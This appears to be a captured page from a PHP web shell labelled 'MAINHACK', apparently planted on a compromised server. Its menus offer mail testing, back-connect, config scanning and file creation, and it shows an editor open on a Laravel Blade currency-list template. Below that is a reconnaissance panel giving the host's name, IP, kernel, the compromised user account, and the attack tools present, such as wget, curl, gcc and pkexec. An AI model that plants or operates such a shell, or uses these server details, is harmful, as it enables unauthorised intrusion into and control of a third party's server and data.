[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: list.blade.php
@extends('layouts.app') @section('content') <div class="row"> <div class="col-lg-12"> <div class="alert alert-info"> <span><i class="far fa-question-circle mr-1"></i>{{ _lang('Base Currency exchange rate always 1.00') }}</span> </div> <div class="card"> <div class="card-header d-flex align-items-center"> <span class="panel-title">{{ _lang('Currency List') }}</span> <a class="btn btn-primary btn-xs ml-auto ajax-modal" data-title="{{ _lang('Add New Currency') }}" href="{{ route('currency.create') }}"><i class="ti-plus"></i> {{ _lang('Add New') }}</a> </div> <div class="card-body"> <table id="currency_table" class="table data-table"> <thead> <tr> <th>{{ _lang('Name') }}</th> <th>{{ _lang('Exchange Rate') }}</th> <th>{{ _lang('Base Currency') }}</th> <th>{{ _lang('Status') }}</th> <th class="text-center">{{ _lang('Action') }}</th> </tr> </thead> <tbody> @foreach($currencys as $currency) <tr data-id="row_{{ $currency->id }}"> <td class='name'>{{ $currency->name }}</td> <td class='exchange_rate'>{{ $currency->exchange_rate }}</td> <td class='base_currency'>{!! $currency->base_currency == 1 ? xss_clean(show_status(_lang('Yes'),'success')) : xss_clean(show_status(_lang('No'),'danger')) !!}</td> <td class='status'>{!! xss_clean(status($currency->status)) !!}</td> <td class="text-center"> <span class="dropdown"> <button class="btn btn-outline-primary dropdown-toggle btn-xs" type="button" id="dropdownMenuButton" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> {{ _lang('Action') }} </button> @if($currency->base_currency == 0 ) <form action="{{ route('currency.destroy', $currency->id) }}" method="post"> {{ csrf_field() }} <input name="_method" type="hidden" value="DELETE"> <div class="dropdown-menu" aria-labelledby="dropdownMenuButton"> <a href="{{ route('currency.edit', $currency->id) }}" data-title="{{ _lang('Update Currency') }}" class="dropdown-item dropdown-edit ajax-modal"><i class="ti-pencil-alt"></i> {{ _lang('Edit') }}</a> <a href="{{ route('currency.show', $currency->id) }}" data-title="{{ _lang('Currency Details') }}" class="dropdown-item dropdown-view ajax-modal"><i class="ti-eye"></i> {{ _lang('View') }}</a> <button class="btn-remove dropdown-item" type="submit"><i class="ti-trash"></i> {{ _lang('Delete') }}</button> </div> </form> @else <div class="dropdown-menu" aria-labelledby="dropdownMenuButton"> <a href="{{ route('currency.edit', $currency->id) }}" data-title="{{ _lang('Update Currency') }}" class="dropdown-item dropdown-edit ajax-modal"><i class="ti-pencil-alt"></i> {{ _lang('Edit') }}</a> <a href="{{ route('currency.show', $currency->id) }}" data-title="{{ _lang('Currency Details') }}" class="dropdown-item dropdown-view ajax-modal"><i class="ti-eye"></i> {{ _lang('View') }}</a> </div> @endif </span> </td> </tr> @endforeach </tbody> </table> </div> </div> </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002